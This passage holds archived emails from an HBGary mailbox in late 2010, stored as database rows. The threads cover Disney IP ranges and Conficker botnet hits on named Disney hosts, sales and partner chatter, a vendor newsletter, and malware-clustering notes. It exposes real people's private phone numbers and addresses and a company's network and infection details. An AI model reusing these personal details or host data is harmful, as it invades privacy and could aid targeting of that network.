lot quicker if I knew which specific part of Disney you are interested in.  They have a ton of IP ranges:\r\n12.170.186.128;12.170.186.135\r\n12.164.28.32;12.164.28.39\r\n12.150.160.184;12.150.160.191\r\n12.150.167.0;12.150.167.255\r\n12.192.106.0;12.192.106.127\r\n12.131.160.96;12.131.160.127\r\n12.233.179.72;12.233.179.79\r\n12.176.37.160;12.176.37.175\r\n12.230.42.232;12.230.42.239\r\n204.248.27.0;204.248.27.255\r\n12.169.64.224;12.169.64.231\r\n12.40.15.40;12.40.15.47\r\n12.197.148.168;12.197.148.175\r\n12.150.184.152;12.150.184.159\r\n12.196.95.88;12.196.95.95\r\n12.31.129.56;12.31.129.63\r\n12.184.137.160;12.184.137.167\r\n12.68.117.128;12.68.117.135\r\n12.51.203.216;12.51.203.223\r\n12.51.203.120;12.51.203.127\r\n12.44.117.0;12.44.117.127\r\n153.8.0.0;153.8.255.255\r\n192.195.66.0;192.195.66.255\r\n192.195.67.0;192.195.67.255\r\n198.22.77.0;198.22.77.255\r\n198.102.219.0;198.102.219.255\r\n192.203.182.0;192.203.182.255\r\n198.203.190.0;198.203.190.255\r\n198.178.187.0;198.178.187.255\r\n198.178.188.0;198.178.188.255\r\n198.178.189.0;198.178.189.255\r\n198.187.189.0;198.187.189.255\r\n198.187.190.0;198.187.190.255\r\n198.180.195.0;198.180.195.255\r\n199.88.194.0;199.88.194.255\r\n199.181.129.0;199.181.135.255\r\n199.4.128.0;199.4.128.255\r\n204.225.142.0;204.225.142.255\r\n204.238.46.0;204.238.46.255\r\n205.159.75.0;205.159.75.255\r\n204.87.208.0;204.87.208.255\r\n204.75.167.0;204.75.167.255\r\n204.80.231.0;204.80.231.255\r\n204.128.230.0;204.128.230.255\r\n204.128.245.0;204.128.245.255\r\n199.184.108.0;199.184.108.255\r\n204.128.192.0;204.128.192.255\r\n192.195.65.0;192.195.65.255\r\n153.7.0.0;153.7.255.255\r\n192.124.33.0;192.124.33.255\r\n204.69.150.0;204.69.150.255\r\n198.252.254.0;198.252.254.255\r\n198.200.186.0;198.200.186.255\r\n153.6.0.0;153.6.255.255\r\n192.195.64.0;192.195.64.255\r\n192.195.63.0;192.195.63.255\r\n204.87.172.0;204.87.172.255\r\n12.105.35.16;12.105.35.31\r\n12.35.205.208;12.35.205.223\r\n12.9.240.176;12.9.240.183\r\n12.9.240.240;12.9.240.247\r\n12.151.178.144;12.151.178.151\r\n12.16.33.16;12.16.33.31\r\n12.16.33.32;12.16.33.47\r\n12.8.149.144;12.8.149.151\r\n12.37.76.80;12.37.76.87\r\n12.144.155.16;12.144.155.23\r\n207.214.50.208;207.214.50.215\r\n65.218.221.48;65.218.221.55\r\n65.202.72.64;65.202.72.71\r\n74.231.59.192;74.231.59.223\r\n74.231.59.160;74.231.59.191\r\n208.255.172.32;208.255.172.39\r\n75.49.104.104;75.49.104.111\r\n75.51.249.160;75.51.249.167\r\n75.51.249.224;75.51.249.231\r\n216.133.238.64;216.133.238.127\r\n68.120.93.104;68.120.93.111\r\n69.238.181.184;69.238.181.191\r\n75.19.146.248;75.19.146.255\r\n75.19.145.240;75.19.145.247On Thu, Sep 30, 2010 at 8:57 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\nHey I really need this!!!!!Maria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   \r\n\r\n-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n',12890,'aaron_hbgary_com/12890.html'),(12468,'2010-10-01','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009193.M897653P14101Q7323.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>','Re: Disney End Games Report','Here are some of the more interesting results so far:\r\n\r\nConfidence : 73.156862%\r\nEvents :\r\nbotnet|conficker c @ 9 July 2010 05:09:15 PM\r\nbotnet|conficker a/b @ 14 September 2010 09:07:58 PM\r\n\r\nIP : 192.195.67.114\r\nConfidence : 99.999341%\r\nEvents :\r\nbotnet|conficker a/b @ 30 September 2010 04:45:59 PM\r\n\r\nIP : 192.195.67.119\r\nConfidence : 99.951172%\r\nEvents :\r\nbotnet|conficker a/b @ 30 September 2010 12:41:16 AM\r\n\r\n\r\nTed\r\n\r\nOn Thu, Sep 30, 2010 at 8:57 PM, Maria Lucas  wrote:\r\n>\r\n> Hey I really need this!!!!!\r\n> Maria\r\n>\r\n> --\r\n> Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n>\r\n> Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n> email: maria@hbgary.com\r\n>\r\n>\r\n>\r\n\r\n\r\n\r\n--\r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',15637,'aaron_hbgary_com/15637.html'),(12469,'2010-10-01','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297009194.M225228P14101Q7324.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: Disney End Games Report','NICE!!! this is good stuffOn Thu, Sep 30, 2010 at 8:40 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nHere are some of the more interesting results so far:\r\n\r\nConfidence : 73.156862%\r\nEvents :\r\nbotnet|conficker c @ 9 July 2010 05:09:15 PM\r\nbotnet|conficker a/b @ 14 September 2010 09:07:58 PM\r\n\r\nIP : 192.195.67.114\r\nConfidence : 99.999341%\r\nEvents :\r\nbotnet|conficker a/b @ 30 September 2010 04:45:59 PM\r\n\r\nIP : 192.195.67.119\r\nConfidence : 99.951172%\r\nEvents :\r\nbotnet|conficker a/b @ 30 September 2010 12:41:16 AM\r\n\r\n\r\nTed\r\n\r\nOn Thu, Sep 30, 2010 at 8:57 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n&gt;\r\n&gt; Hey I really need this!!!!!\r\n&gt; Maria\r\n&gt;\r\n&gt; --\r\n&gt; Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n&gt;\r\n&gt; Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n&gt; email: maria@hbgary.com\r\n&gt;\r\n&gt;\r\n&gt;\r\n\r\n\r\n\r\n--\r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',14525,'aaron_hbgary_com/14525.html'),(12470,'2010-10-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009194.M443288P14101Q7325.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,','Re: Apparently','Mark is a good friend. &nbsp;I have met with him once already and he has set up a meeting with his director of security, David Sarmanian for next week. &nbsp;We are working on the date. &nbsp;I will get Bob involved when he give me a few to choose from.AaronOn Sep 30, 2010, at 4:17 PM, Penny Leavy-Hoglund wrote:Mark Leary over at TASC is building out his security infrastructure and has budget.&nbsp; Are we working with him?&nbsp; Linus ballon is director of&nbsp; WCA and Brian is going to schedule a meeting for us&nbsp;Penny C. LeavyPresidentHBGary, Inc&nbsp;&nbsp;NOTICE –&nbsp;Any tax information or written tax advice contained herein (including attachments) is not intended to be and cannot be used by any taxpayer for the purpose of avoiding tax penalties that may be imposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to U.S. Treasury regulations governing tax practice.)&nbsp;This message and any attached files may contain information that is confidential and/or subject of legal privilege intended only for use by the intended recipient. If you are not the intended recipient or the person responsible for&nbsp;&nbsp; delivering the message to the intended recipient, be advised that you have received this message in error and that any dissemination, copying or use of this message or attachment is strictly&nbsp;\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n',1838,'aaron_hbgary_com/1838.html'),(12471,'2010-10-01','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297009194.M735270P14101Q7326.eml','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: needs','\r\n\r\n\r\n\r\n\r\nRE: needs\r\n\r\n\r\n\r\n\r\nStill need these.&nbsp; Got to get the proposal done Monday.\r\n\r\n\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Masterson, Brian M (XETRON)\r\nSent: Monday, September 27, 2010 10:10 AM\r\nTo: Aaron Barr\r\nSubject: needs\r\n\r\n\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Name of guy from Foundstone\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Description of tools from last week email\r\n\r\n\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n',15890,'aaron_hbgary_com/15890.html'),(12472,'2010-10-01','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297009195.M219157P14101Q7328.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: needs','Crap I forgot about that.  I\'ll do it right now.\r\n\r\n\r\n\r\nOn Fri, Oct 1, 2010 at 10:29 AM, Aaron Barr  wrote:\r\n>\r\n>\r\n> Sent from my iPhone\r\n> Begin forwarded message:\r\n>\r\n> From: \"Masterson, Brian M (XETRON)\" \r\n> Date: October 1, 2010 7:21:37 AM PDT\r\n> To: \"Masterson, Brian M (XETRON)\" , \"Aaron Barr\"\r\n> \r\n> Subject: RE: needs\r\n>\r\n> Still need these.  Got to get the proposal done Monday.\r\n>\r\n> Brian Masterson\r\n> Northrop Grumman/Xetron\r\n> Chief Technology Officer, Cyber Solutions\r\n> Ph: 513-881-3591\r\n> Cell: 513-706-4848\r\n> Fax: 513-881-3877\r\n>\r\n> _____________________________________________\r\n>\r\n> From: Masterson, Brian M (XETRON)\r\n> Sent: Monday, September 27, 2010 10:10 AM\r\n> To: Aaron Barr\r\n> Subject: needs\r\n>\r\n> 1.      Name of guy from Foundstone\r\n>\r\n> 2.      Description of tools from last week email\r\n>\r\n> Brian Masterson\r\n> Northrop Grumman/Xetron\r\n> Chief Technology Officer, Cyber Solutions\r\n> Ph: 513-881-3591\r\n> Cell: 513-706-4848\r\n> Fax: 513-881-3877\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',6116,'aaron_hbgary_com/6116.html'),(12473,'2010-10-01','\"Fidelis Security Systems\" <Fidelis_Security_Systems@mail.vresp.com>','/aaron@hbgary.com/new/1297009195.M477256P14101Q7329.eml','aaron@hbgary.com','Fidelis October 2010 Newsletter','\r\n\r\n\r\n\r\nImage\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  \r\n  \r\n    \r\n      \r\n        \r\n    \r\n  \r\n\r\n\r\n\r\n  \r\n\r\n    \r\n\r\nOCTOBER 2010\r\n\r\n\r\n\r\n    \r\nIt’s hard to believe we have closed in on the  final quarter of the year with only a few months remaining in 2010.  As I’m sure many of you feel, autumn is in so  many ways like the beginning of a new year—with kids returning to school and summer  vacations a distant memory. Everyone returns in September ready to tackle their  agenda for the remainder of the year, renewed and refreshed. Our  development teams have been working tirelessly over the summer on some exciting  new features that enhance our capabilities in cyber defense. Let me take a few  minutes to explain what we have been up to.\r\n  The 90s were known for the advent of deep  packet inspection technology, but this decade is the “session generation” of  network security as advanced adversaries now know how to defeat traditional packet-level  network security systems and they’re engineering attacks at the session level. Fidelis XPS is designed  to plug the holes packet-level technologies leave open for these custom attacks—enabling  you to see, study, and stop advanced threats. \r\nFidelis XPS has become an integral network  security defense tool in our customer’s “workbench” to prevent data breaches  and cyber attacks. Because our product was built upon our patented Deep Session  Inspection™ architecture we have the ability to deliver unparalleled visibility  inside the content of the information flowing on the network, at the  session-level, giving our customers the ability to not only “see” the threats  but “stop” them, especially custom attacks that occur above the protocol  layer.  But our ability to “study” the  threat is an important step not to be overlooked.  By selectively recording and  analyzing sessions of interest, an organization can deploy a forensics program  intelligently, enabling you to capture and analyze sessions with extreme  precision and easily extract full forensic information at any level of our  decoding stack.\r\n  To  provide our customers with even more bench strength in their ability to seamlessly  gain real-time visibility of and control over known malicious threat actors  attempting to steal their information, we have integrated our product directly  with Anti-Malware and Anti-Phishing threat intelligence feeds from Cyveillance,  a world leader in cyber intelligence solutions.&nbsp; Combined with the rich  visibility in Fidelis XPS’ Information Flow Map feature, the threat  intelligence feeds enable organizations to prevent cyber attacks with a higher  level of automated intelligence sharing and increased situational awareness. \r\nAs always, thank you for your ongoing interest  in Fidelis Security Systems and we look forward to seeing you at an upcoming industry  event, or online at our customer users forum or one of our many webinars.\r\n\r\n    \r\n\r\n        Best regards,\r\n      \r\n      \r\n      Peter G. George\r\nPresident &amp; CEO\r\nFidelis Security Systems\r\n      \r\n      Integrated Cyber Intelligence Feeds Provide Advanced Situational Awareness to Prevent Cyber Attacks\r\nRecently, Fidelis announced that our award-winning  network security product, Fidelis XPS™, integrates directly with Anti-Malware  and Anti-Phishing threat intelligence feeds from Cyveillance, a world leader in  cyber intelligence solutions.&nbsp; The combined solution provides Fidelis XPS  customers automatic and real-time visibility and control of known malicious  threat actors attempting to steal information and compromise computer  networks--enabling organizations to prevent cyber attacks with a higher level  of automated intelligence sharing and increased situational  awareness.&nbsp;&nbsp; By bringing real-time threat intelligence into the  patented Fidelis XPS architecture, the Deep Session Inspection™ platform,  organizations gain greater visibility into and control over their network  traffic with reputational knowledge on all 65,535 ports. In addition to the  Cyveillance cyber intelligence feeds, the newly released Fidelis XPS Feed  Manager function can integrate other data feeds, giving Fidelis XPS customers  and partners the ability to further integrate threat data—connecting to threat  intelligence sources, either internal or external to the organization—in order  to provide dynamic, real-time reputation-based policy updates to their Fidelis  XPS sensors.\r\n      &nbsp; \r\n      “Networks today are being flooded with new and advanced  threats, said Eric Ouellet, Research Vice President, Gartner. “The ability for  an organization to add actionable threat intelligence to their network security  toolkit gives them an opportunity to get ahead of the threat.” \r\n      \r\n        By bringing real-time threat intelligence into the  patented Fidelis XPS architecture, the Deep Session Inspection™ platform,  organizations gain greater visibility into and control over their network  traffic with reputational knowledge on all 65,535 ports.In addition to the  Cyveillance cyber intelligence feeds, the newly released Fidelis XPS Feed  Manager function can integrate other data feeds, giving Fidelis XPS customers  and partners the ability to further integrate threat data—connecting to threat  intelligence sources, either internal or external to the organization—in order  to provide dynamic, real-time reputation-based policy updates to their Fidelis  XPS sensors.&nbsp; \r\nThe Fidelis XPS Feed Manager is a standard  feature available on Fidelis XPS products.&nbsp; After an initial complementary  three month subscription, Fidelis XPS customers can purchase the Anti-Phishing  and Anti-Malware Distribution Feeds for Fidelis XPS, powered by Cyveillance,  directly from Fidelis Security Systems through an annual subscription  service.&nbsp;&nbsp;       \r\n        We recently announced a partnership with  Backbone Security, the global leader in digital steganography detection tools.  Last month Backbone announced the availability of a Steganography Detection  Policy for Fidelis XPS customers, giving them the capability to detect insiders  downloading digital steganography applications on their networks.&nbsp; We  learn more on the details of this technology from Jim Wingate, Vice President  of Backbone Security. \r\n        \r\nQ. What is  steganography and why is it a threat I should pay attention to?\r\n        A. Steganography  is a method of concealing the existence of data by hiding it within, or  appending it to, another file. Unlike encrypting data the way cryptography  does, steganography hides the very existence of the data in such a way that it  is undetectable under traditional traffic-pattern analysis. However, as an  added measure of protection, data is often encrypted before being hidden with a  steganography application. For that reason, steganography is often referred to  as the &quot;dark cousin&quot; of cryptography.&nbsp;Steganography is most  often used for malicious purposes such as stealing information or concealing  criminal or terrorist activity.\r\n        Q. What does  Backbone Security offer Fidelis XPS customers?\r\n      A. With&nbsp;our Steganography  Detection Policy (SDP), Fidelis XPS customers can counter the growing threat  from insider use of steganography to steal sensitive information such as PHI,  PII, or other sensitive information including intellectual property. The SDP is  available on a monthly or annual subscription basis. Customers can import the  policy directly into Fidelis XPS’ CommandPost™ management console, and then  distribute the policy to all, or selected, Fidelis XPS sensors.The SDP is based  on hash values of file artifacts (“fingerprints”) associated with over 850  steganography applications in the Steganography Application Fingerprint  Database (SAFDB) developed in Backbone’s Steganography Analysis and Research  Center. SAFDB is the world’s largest commercially available hash set exclusive  to digital steganography applications and can be used to determine whether  files entering or leaving an enterprise network can be associated with a  particular digital steganography application or other data-hiding application.  For additional information, please&nbsp;contact Backbone at&nbsp; http://www.sarc-wv.com/products/fidelis.aspx , 877.560.7272, or&nbsp;sarc@backbonesecurity.com.\r\n \r\n      \r\n    \r\n      \r\n        \r\n          \r\n            \r\n\r\n              &nbsp;\r\n              &nbsp;\r\n              &nbsp;\r\n            \r\n          \r\n            \r\n              \r\n                &nbsp;\r\n                FAST FACTS                   \r\n  \r\n\r\n                  \r\n                    &quot;The total number of data records compromised (in 2009)....exceeds 143 million. 85% of compromised records are attributed to organized crime.&quot; Verizon & US Secret Service 2010 Data Breach Investigation Report\r\n&quot;Even the most popular AV signature-based solutions detect, on average, less than 19% of malware threats.&quot;Cyveillance                  \r\n&quot;Botnets will dominate cyber attacks through 2013...The botnet style of attack has proven remarkably resiliant as an entry point into corporate systems as enterprises embark new technologies, such as the cloud, virtualization and social networks.&rdquo;&nbsp;\r\n  eSecurity Planet\r\n  \r\n  \r\n  FEEDBACK \r\n  \r\n\r\n  Send us your questions about our solution or the extrusion  prevention market&nbsp;and we&rsquo;ll address those&nbsp;most frequently asked here  in this column.&nbsp;&nbsp;You can email us at: theedge@fidelissecurity.com\r\n                    \r\n                        Q. Does Fidelis offer an online community forum?\r\n                    \r\n                    A.Yes, Fidelis Security has an online community forum for customers and product experts. While there are many entries on product operations, the most interesting posts are in the Policy section. Here is where customers and experts exchange information on how to use content and network inspection capabilities, including best practices. In fact, several recent product enhancements were born here, based on the needs and use cases described.                    \r\n                    The forum offers a chance for customers to interact directly with Fidelis product experts and customers are sharing how they solve problems with the Fidelis XPS technology.\r\n                    Stop by the &quot;Answers&quot; forum today. Customers can log in to t heir Portal account at: http://www.fidelissecurity.com/\r\n                    support/login and click on the Answers tab.  See you there! \r\n                IN THE NEWS \r\n                        \r\n                    Below are  some of the most recent articles that feature Fidelis  Security Systems.&nbsp; For a complete list  and to read more, please visit our website. www.fidelissecurity.com\r\n                    July 31, 2010 \r\n                        Military Information Technology\r\n&ldquo;Network Security Product iInegrates With Threat Intelligence Feeds,&rdquo; Read More »\r\n\r\nJune 30, 2010 \r\n                      Advance Web\r\n&ldquo;Social Networking Poses Security Risks,&rdquo; Read More &raquo; \r\n\r\n                    UPCOMING EVENTS \r\n                    \r\n\r\n Webinar Series\r\n                      \r\n                      Actionable Threat Intelligence: Actually Do Something about Malware &amp; Phishing Attacks\r\n                      Speaker:\r\n                      Kurt Bertone, VP Strategic Alliances, Fidelis Security Systems\r\n                      Wednesday, October 20th, 2010\r\n                      1:00pm - 1:30p.m. EST\r\n                    Register Here                    \r\n                    Mitigate Risk of Social Networking Technologies on Your Network \r\n                      Speaker: Will Irace,  Fidelis Security Systems\r\n                      Wednesday, November 10th, 2010\r\n                      1:00pm - 1:30p.m. EST\r\n                    Register Here                    \r\n                    Network Visualization: It\'s Only Cool if You can Do Something with All that Visibility\r\n                      Speaker:\r\nWill Irace, Fidelis Security Systems\r\nWednesday, December 1, 2010\r\n                      1:00pm - 1:30p.m. EST\r\n  Register Here\r\n                    \r\n                      Wine Tasting with Fidelis at RSA\r\n                      February 16th, 2011 \r\n                      5:00p.m. PST to 8:00p.m. PST\r\n                      The Press Club, San Francisco, CA\r\n                      RSVP to: rsvp@fidelissecurity.com\r\n  \r\n                      \r\n                      \r\n                    \r\n\r\n                &nbsp;\r\n              \r\n            \r\n            \r\n              \r\n                &nbsp;\r\n                &nbsp;\r\n\r\n                &nbsp;\r\n              \r\n            \r\n            \r\n        \r\n    \r\n  \r\n\r\n\r\n  \r\n\r\n    \r\n  \r\n\r\n&nbsp;\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n         Click to view this email in a browser\r\n         \r\n         \r\n       If you no longer wish to receive these emails, please reply to this message with \"Unsubscribe\" in the subject line or simply click on the following link: \r\n \r\nUnsubscribe\r\n\r\n\r\n\r\n    \r\n  \r\n\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n      \r\n                  Fidelis Security Systems\r\n        4416 East West Highway\r\n        Suite 310\r\n        Bethesda, Maryland 20814\r\n\r\n        \r\n          \r\nRead the VerticalResponse marketing policy.\r\n\r\n\r\n        \r\n      \r\n    \r\n    \r\n      \r\n\r\n\r\n\r\n    \r\n  \r\n\r\n\r\n  \r\n\r\n\r\n\r\n\r\n \r\n',8499,'aaron_hbgary_com/8499.html'),(12474,'2010-10-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009195.M710243P14101Q7330.eml','\"Paul Rooney\" <prooney3@csc.com>,\"Paul Rooney\" <prooney3@csc.com>','Re: Get Together','Sorry for delay - Sisters wedding. &nbsp;Would love to get together, let me look at location. &nbsp;Do you want to have a \"business location\" or given the time do you want to meet for lunch?AaronOn Sep 29, 2010, at 3:24 PM, Paul Rooney wrote:\r\nAaron,\r\n\r\nBob and I would love to get together\r\nand catch up. Would you have time on 12 October, 1130 to 1230? You can\r\nchoose the location. \r\n\r\nThanks,\r\n\r\nPaul\r\n\r\nPaul Rooney\r\nDirector\r\nCSC Intelligence Business Unit, Mission Systems\r\n\r\n7231 Parkway Drive, Hanover, MD &nbsp;21076\r\np: 443.445.7303 &nbsp;c: 410-245-7904\r\nf: 443.445.7134\r\nprooney3@csc.com I www.csc.com\r\n\r\nThis is a PRIVATE message. If you are not the intended recipient, please\r\ndelete without copying and kindly advise us by e-mail of the mistake in\r\ndelivery. \r\nNOTE: Regardless of content, this e-mail shall not operate to bind CSC\r\nto any order or other contract unless pursuant to explicit written agreement\r\nor government initiative expressly permitting the use of e-mail for such\r\npurpose.\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n',14544,'aaron_hbgary_com/14544.html'),(12475,'2010-10-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009195.M8230P14101Q7327.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: needs','Sent from my iPhoneBegin forwarded message:From: &quot;Masterson, Brian M (XETRON)&quot; &lt;Brian.Masterson@ngc.com&gt;\r\nDate: October 1, 2010 7:21:37 AM PDTTo: &quot;Masterson, Brian M (XETRON)&quot; &lt;Brian.Masterson@ngc.com&gt;, &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;\r\nSubject: RE: needs\r\n\r\n\r\n\r\nStill need these.  Got to get the proposal done Monday.\r\n\r\n\r\n\r\nBrian Masterson\r\n\r\nNorthrop Grumman/Xetron\r\n\r\nChief Technology Officer, Cyber Solutions\r\n\r\nPh: 513-881-3591\r\n\r\nCell: 513-706-4848\r\n\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Masterson, Brian M (XETRON)\r\n\r\nSent: Monday, September 27, 2010 10:10 AM\r\n\r\nTo: Aaron Barr\r\n\r\nSubject: needs\r\n\r\n\r\n\r\n\r\n1.      Name of guy from Foundstone\r\n\r\n2.      Description of tools from last week email\r\n\r\n\r\n\r\nBrian Masterson\r\n\r\nNorthrop Grumman/Xetron\r\n\r\nChief Technology Officer, Cyber Solutions\r\n\r\nPh: 513-881-3591\r\n\r\nCell: 513-706-4848\r\n\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n\r\n\r\n',9646,'aaron_hbgary_com/9646.html'),(12476,'2010-10-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009195.M931075P14101Q7331.eml','\"Greg Hoglund\" <greg@gunwalegames.com>','Re: updates','Thanks Greg.\r\n\r\nI am back on this full force this weekend.  Family wedding and get togethers/day trips have thrown a few wrenches into my work schedule this week, but if you haven\'t guessed from me by now I try not to pass those moments up as you can\'t get them back.  I had a great time, but have some catching up to do.\r\n\r\nAaron\r\n\r\n\r\nOn Sep 29, 2010, at 11:07 PM, Greg Hoglund wrote:\r\n\r\n>  \r\n> I updated the google docs, made a special doc for the proposal and put the user stories back to a user-story doc.  Your email is active now.\r\n>  \r\n> -Greg\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',10680,'aaron_hbgary_com/10680.html'),(12477,'2010-10-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009200.M780474P14101Q7332.eml','\"Aaron Zollman\" <azollman@palantir.com>','Fwd: soysauce graphs/data','Soysauce graphs.\r\n\r\nBegin forwarded message:\r\n\r\n> From: Martin Pillion \r\n> Date: September 30, 2010 5:15:29 PM EDT\r\n> To: Aaron Barr \r\n> Cc: Greg Hoglund \r\n> Subject: soysauce graphs/data\r\n> \r\n> \r\n> Aaron,\r\n> \r\n> Here are 8 graphs I made based upon soysauce malware with fingerprint data.\r\n> \r\n> image_descriptions.txt explains what each graph is\r\n> \r\n> the fingerprint data for this is in the .xml files\r\n> \r\n> Take a look and let me know if these will suit your needs, or if you\r\n> want different graphs.\r\n> \r\n> - Martin\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',6491,'aaron_hbgary_com/6491.html'),(12478,'2010-10-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297009225.M172255P14101Q7333.eml','\"Aaron Zollman\" <azollman@palantir.com>','Fwd: Soysauce clusters','Begin forwarded message:From: Greg Hoglund &lt;greg@hbgary.com&gt;Date: September 30, 2010 6:08:22 PM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;, Phil Wallisch &lt;phil@hbgary.com&gt;Subject: Soysauce clusters&nbsp;\r\nAaron,\r\n&nbsp;\r\nMartin clustered your soysauce bins.&nbsp; See attached graph for an annotated version that is good for slideshow.\r\n&nbsp;\r\nWhat I find interesting is the large collection of soysauce bianries that live in the same community with PoisonIvy, Pinch, and a few other bot kits.&nbsp; Then, there are three outlier clusters that have nothing to do with that community.&nbsp; This shows how APT will use multiple different malware kits &amp; components to lower the risk of wholesale detection.\r\n\r\n&nbsp;\r\n-Greg\r\n\r\nAaron BarrCEOHBGary Federal, LLC719.510.8478\r\n\r\n',15266,'aaron_hbgary_com/15266.html'),(12479,'2010-10-01','\"Aaron Zollman\" <azollman@palantir.com>','/aaron@hbgary.com/new/1297009225.M669379P14101Q7334.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Soysauce clusters','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nIs there source data for this we might be able to reference? Or\r\nis this from the same 100mb XML file we already had?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantir.com\r\n| 202-684-8066\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, October 01, 2010 11:19 AM\r\nTo: Aaron Zollman\r\nSubject: Fwd: Soysauce clusters\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nGreg\r\nHoglund &lt;greg@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate:\r\nSeptember\r\n30, 2010 6:08:22 PM EDT\r\n\r\n\r\n\r\n\r\n\r\nTo:\r\nAaron\r\nBarr &lt;aaron@hbgary.com&gt;, Phil\r\nWallisch &lt;phil@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nSoysauce clusters\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMartin clustered your soysauce bins.&nbsp; See attached\r\ngraph for an annotated version that is good for slideshow.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWhat I find interesting is the large collection of soysauce\r\nbianries that live in the same community with PoisonIvy, Pinch, and a few other\r\nbot kits.&nbsp; Then, there are three outlier clusters that have nothing to do\r\nwith that community.&nbsp; This shows how APT will use multiple different\r\nmalware kits &amp; 